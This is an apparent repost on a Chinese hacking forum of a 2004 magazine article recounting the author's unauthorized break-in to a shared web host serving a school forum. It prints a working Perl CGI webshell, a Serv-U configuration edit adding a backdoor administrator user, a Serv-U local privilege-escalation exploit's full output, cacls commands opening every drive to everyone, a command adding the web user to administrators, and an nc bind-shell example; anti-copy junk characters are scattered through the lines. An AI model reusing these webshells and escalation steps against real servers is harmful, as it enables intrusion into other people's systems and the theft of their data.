找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1846|回复: 0
打印 上一主题 下一主题

剑走偏锋——灵巧的旁注攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:11:50 | 显示全部楼层 回帖奖励 |倒序浏览 |阅读模式
剑走偏锋——灵巧的旁注攻击
5 b- D, R& Q5 A! W6 c+ z本文作者:angel' z* F/ j) M6 |* o
文章性质:原创' `3 C( G5 f1 i% B. F+ y$ r3 J
发布日期:2004-11-09 8 `2 m' v( w% q# h4 x% m( r2 ~
注意:
8 f" D4 s/ |8 o4 L* o本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。
! T2 J: [) H0 K3 [本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。& k) \0 i0 Q. _, r& U( B6 }

2 j# K' @' {  U6 |, P  终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。 : X- W( ?- l/ y! d
  X" r2 j' h& x/ T4 Y
  一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。 - A) @5 ?) r0 v+ n

2 l2 A; ]9 `7 q6 M  不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。 , t& U5 U0 c1 h) n/ s  u
/ h3 W, M! C9 o
  一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。
1 c( E& t) `3 z- F! g4 X: E' U7 o+ h5 s) K# G* m
  大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。 3 |0 l4 B' {0 ]4 J  D3 l
& }+ R  _2 {0 N6 A: I) g. r' o
  没有目的的跳转目录着……
; ]: Y# U3 X0 X& p; y
- q  ]# C( l% H4 A3 }, h9 Z  我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了……
% P, v) x1 q2 L0 U* d; @' H# ?% R' p3 o7 L8 @. o, ?9 k. k
  结束了吗?不,我试着 FTP 一下:
; m* H( Y/ o' k3 J8 n; T0 A% P' w* b3 W5 F6 m$ r
Microsoft Windows 2000 [Version 5.00.2195]! f  g' t. y: \# g
(C) 版权所有 1985-2000 Microsoft Corp.
& [3 X3 l1 O6 H7 c/ T, A/ Y8 m8 S) T( M( r+ t* n, v3 w
C:\Documents and Settings\Administrator>ftp www.school.com
  {8 ]6 V; B0 B% x6 S& p5 _" HConnected to www. school.com. 2 M# p3 Q: f" D, @" O$ v
220 Welcome to FTP Server...
8 ]3 h% L% o! O: j$ lUser (www.bjtrq.com:(none)):
7 M! [+ P& S; t: |" w* k331 User name okay, need password. % F: d9 {1 l: c
Password: 4 b1 t5 D- y/ p2 r/ C
530 Not logged in. + x/ x+ G2 N' d" H
Login failed.
9 p1 ?% y* o) zftp> bye
3 Y, ?, U0 C4 ~" O; }/ {; [221 Goodbye! : {5 \' ]3 u. r" t9 a! ^- F* z" z
+ h5 A' K, E; i# B

" ~) X* a! x; g8 y% t+ _4 E  从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的……
$ z' ?) u5 T& Z. o' _- ^2 H& a6 Q: O$ F
  原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。 2 `1 E+ O1 D) W" @
) j5 m/ P. o( F. q* w% c4 m0 z# L8 b4 y
Application Data# n, T" s. n" L' ?- R. A
Documents
, x+ Z; u1 E. @( Q$ o6 l& l; fDRM
$ f4 c# t6 t8 D# BFavorites0 m& M9 H; @% W$ q) C$ w
Templates0 ]- E0 M5 r! q6 t
「开始」菜单
7 t/ w2 j6 L, n" L桌面
  w( }0 d. n2 `
6 j8 |7 h# z6 U# n) m9 q8 c- T+ K! ~; ]% J  M' y
  马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息, 3 u0 z. f* N: v2 n, I
, G7 _: R/ F7 x+ Y1 N2 d' l
ActiveState ActivePerl 5.8
4 \3 \$ g- m& B0 i  v) ]# T% cAdministrative Tools
2 M+ v' d; K8 ?+ ?4 bDeerfield.com0 D1 N9 D$ u' r, p8 O1 f
DTemp$ D0 L) g. ?) W) @
IPSentry& ~" E3 X7 h- p( W
MBM 5
7 x; i9 Y) ]1 N! xNetMeter
3 F3 q" R, F4 z2 }; v) ~Network ICE' R6 p, d% {# `$ x) N+ s5 }
Persits Software AspEmail8 t" s; U' d& x1 ]+ Y% f
Persits Software AspJpeg$ }8 ?' e* g6 ~& ]9 E
Serv-U FTP Server
/ f4 ?4 E% q) h2 w3 U: n4 oSymantec Client Security
7 I1 a/ T8 ?0 |" B/ G( \Windows 优化大师+ t# M7 M; |$ H# \: @" \
WinRAR
& K' h: n8 p. @启动
9 v0 A- i# l, M8 _5 O0 ~管理工具
" [  K$ W* m5 _' H! g( ^附件+ Z- J4 M2 f: Y2 l% r

) i) X. W; [: C; m' u( n1 y2 F" R
  呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。 $ O4 U0 A7 A+ M# ?% @9 d, ]& i5 H

6 x1 O) F& O. ], O4 S8 O8 |% H$ s  先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行: 2 O6 J( I; U6 B, M
" U: p, V" E% Z+ f
User281=angel|1|0 4 t- y0 d5 C% \" W% d: t

* X8 W: ~- r! S: r- z5 a" C2 i+ A7 v& ?0 r* U
  然后加上 4 G$ ^; P% a: p2 _6 Z, N$ b
) q6 T% c3 I5 e7 G! w+ @
[USER=angel|1]
+ J/ e, H3 Q3 G2 U( ~; K, L8 o! PPassword=ng98F85379EA68DBF97BAADCA99B69B805
- Y% G  N6 S# n0 t% iHomeDir=D:\websites: F$ }4 l" J0 @5 Q% H
RelPaths=1
. @7 B- }% X) B4 T5 WTimeOut=600
2 q$ I+ E6 t7 z4 l4 _' DMaintenance=System; |# j, y. ?- J5 D7 b/ k: C7 x7 t
Access1=D:\websites|RWAMELCDP3 o3 l+ R) x" t( }3 d. F2 \
SKEYValues=
0 {9 r& `4 }( K# ]- t3 z; ~
6 n& e) S% k( _+ G) G0 {  [. g4 [* s' U7 G; G
  添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中…… - n4 Y( \- ]6 ]9 d& _) f
# i7 M% O5 K; }; B- ^5 v  y
  不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。 9 y4 o5 A  D* u! L; T! f9 A

6 H+ n# ]& |3 ]# F+ b  不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。 " K! O6 E. _& P# o! a

' }5 P$ c0 E4 B' d' ~0 X  还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下: : X8 h$ j  v- s, I+ v3 j/ l
5 B4 k2 S2 C! A0 s+ a- q
#!/usr/bin/perl
0 N2 Q8 ~5 v7 c4 U! ybinmode(STDOUT);
, @, f3 ^4 M( C% Tsyswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
, n% n$ R8 S( h2 h6 @9 I* Q( U$_ = $ENV{QUERY_STRING};
, `+ o$ P1 r% q! ~. {s/%20/ /ig;9 w& }9 f" \  h6 G* r/ o
s/%2f/\//ig;: m8 V: G+ w3 ]. p. X5 ~: N5 U
$execthis = $_;6 |6 z9 {6 m9 W* J0 \
syswrite(STDOUT, "<HTML><PRE>\r\n", 13);
2 t( }8 c$ Z' q2 E" w' G* s  uopen(STDERR, ">&STDOUT") || die "Can't redirect STDERR";
; H) I+ j) A; y0 {- R# _, n+ {system($execthis);, `6 v9 C% r7 T* Q# s/ [9 I
syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);3 s. d( x( T6 L  k, T. y
close(STDERR);
4 d4 x9 C1 X& v/ aclose(STDOUT);+ _: s0 p7 {* K1 t' V
exit;
9 W& N& n9 `) F- e# S2 y' ~- _
6 r+ O5 N' j* O" ?$ i% a
6 V: S: h5 I8 h: p9 e* E+ Z  我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!! ; J& w4 e' |/ C3 W% n* j5 j
& R, n9 X: C: F( J: m- m' L
  显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交: 4 o+ D$ ^5 k. _. z& z+ n  E
. C  O) |$ Y5 M) E5 S5 N  H1 w! ^, ^9 y
http://anyhost//cmd.pl?d:\user\bin\su.exe
# d5 _8 ^( `; M# i+ n
, D6 ]) P6 x5 e+ Y3 a0 n. c' F, q1 Q2 N+ ^
  返回:
2 E- Z' o8 h- _* y1 O2 ]1 K  d) n2 P/ |, B0 T" n! d7 I- K0 Y2 S* E
Serv-u >3.x Local Exploit by xiaolu
( t! v. N/ }6 Z- c/ c: {0 f9 x8 N& x
USAGE: serv-u.exe "command"
6 k6 _5 q! n' \# \5 ^6 L
3 [0 K7 z6 Y0 k  OExample: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"
. `5 b4 d, @# T( q$ L) ^ . [0 R: l! m. g0 `

9 r4 u/ E2 I* H* {: H  嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交:
7 Y7 E9 }6 y5 t4 I! F5 V
2 P4 {, }7 h6 b3 d6 Ihttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F" # w' h" l# u% E( n, F. W
2 ~" f+ U5 v7 j) [! D" M
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F"
  G/ e! b' S9 W. ?' b  \8 s, s- y) m& r1 b" U/ l
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F" # e# y7 ~$ y+ f; |7 w

: F# B. c0 _0 Rhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F"
" j$ |" J7 \# P9 P. e9 `4 {3 [ $ [" \  G0 Q: c
/ a( p( {. o. L/ H
  返回下面的信息,就表示成功了!!!
) }- f# }  b4 E! [$ }# @7 L# ~$ t" |" _, F' e
Serv-u >3.x Local Exploit by xiaolu
+ _/ \0 {. E$ U9 j: L# y: Z1 M5 ~2 D( J/ n; ^
<220 Serv-U FTP Server v5.2 for WinSock ready...
9 d, u, m: S+ f* O( @. J6 @! T1 M6 z# ^
>USER LocalAdministrator , ?! t) [9 J, m
: L6 y0 V6 n' S# `6 F
<331 User name okay, need password.
7 y' B' A6 }9 ]2 y7 P$ ?9 ^. e/ W8 F. c9 x, q$ l- v9 z
****************************************************** 5 D. i6 F% f& ], {

  W0 V1 T/ b' \8 I+ ~>PASS #l@$ak#.lk;0@P 5 p& I0 H8 |4 i# n! E- t4 L
, L- F* b" K+ D& `* B
<230 User logged in, proceed.   ~; Z* O* ~( r% C. g

: s' |7 ^* P" {1 ]5 `****************************************************** 2 T( e) n9 d6 n& R/ k
9 F# |1 d0 B8 z& S9 t. e/ q
>SITE MAINTENANCE
0 H9 s9 n7 l7 ?; a3 m& d6 }- p! B5 r; y, @; U! ^
******************************************************
1 e4 S4 g$ p4 X; s1 }8 l0 H6 D* K
[+] Creating New Domain...
- F# q9 }9 J# w) _8 _3 {7 S# X
1 ^$ q% |7 G- o0 U- T6 y<200-DomainID=2
- u6 I& F# n! [* h- H1 t) V: X* j5 i/ A; u) Y
<220 Domain settings saved
2 _5 \9 ^- K! J; [( }' N! N! T7 N# p3 W
0 l/ I8 c$ T3 ~' K# Y' c****************************************************** $ J: @" b% O7 v) v8 T* z  C

- Y: o: ?5 z  b[+] Domain xl:2 Created
0 G3 C0 e+ Y) ]0 t; e
2 h5 v, `1 s. \. M( @) Q[+] Creating Evil User # F+ {$ `  Z# ^% p/ h" J

3 O4 ]  \/ \* z5 \  \<200-User=xl ' F) C% g+ p5 v+ f) m6 e
; o+ d- z8 n7 Y% ^  g4 Y
200 User settings saved ) S3 H. ^- A* E$ o. P" G

2 _  [" d' Z  j% a; W****************************************************** ) R2 x  k; ?/ a* D3 U' p8 M

9 u7 s5 u: z- X5 k  K3 Y[+] Now Exploiting...
0 f) H. z! n* V
/ O9 R, Q  J) X- B* }+ r1 Z>USER xl
" |( c  X8 }& S+ w  V4 W& I0 x- o& T) F  m- X
<331 User name okay, need password.
- z6 b0 E' ~% F; G6 m
& P% |% ^4 k8 `. E) o0 W******************************************************
# ?( A( ]4 \* i: W2 L6 {4 @4 k" A" i  r5 d$ D2 v, z
>PASS 111111 . c! O6 p9 o& T$ M) B& T3 u

! p6 e. b/ I" q2 Y6 K<230 User logged in, proceed.
, J! u$ ]# u6 F: u9 o9 e' x0 K5 z! U2 R
****************************************************** # ^; @9 x1 z5 W
7 X! H8 [2 [1 g7 x, E
[+] Now Executing: cacls.exe c: /E /T /G everyone:F
0 @7 l  B+ p  v' C# x6 ?9 p4 x+ v
9 `# R0 u) {% T6 `7 M<220 Domain deleted
- _& L. {5 `* e. N! d2 S- {
* j% f# ]( I0 H: f' C3 z1 x3 ]3 X******************************************************
! J- Y3 S, D3 [ : W" G9 q( x6 y# o4 m+ Y
; m/ C% s$ {" C0 a, j6 K1 E
  每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员:
, ?( p6 v- U4 m/ j2 l' n3 t
  `/ |+ e; w4 {) E: }$ A! Khttp://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add"
/ T& v( z3 c' K7 `0 B
9 E. }  Q+ d2 q" I' o+ I2 u$ |
0 i; N% u' C+ S+ h( ^: r  现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。 , t1 e( Y% b7 y% q0 o3 ]

, W2 ]8 B6 o7 T0 M. Z+ ?  说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。
9 d1 u5 z& e7 i' @' P* O
4 s) @! s8 M0 a( \2 r$ f  6 l  j8 G: H- s
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表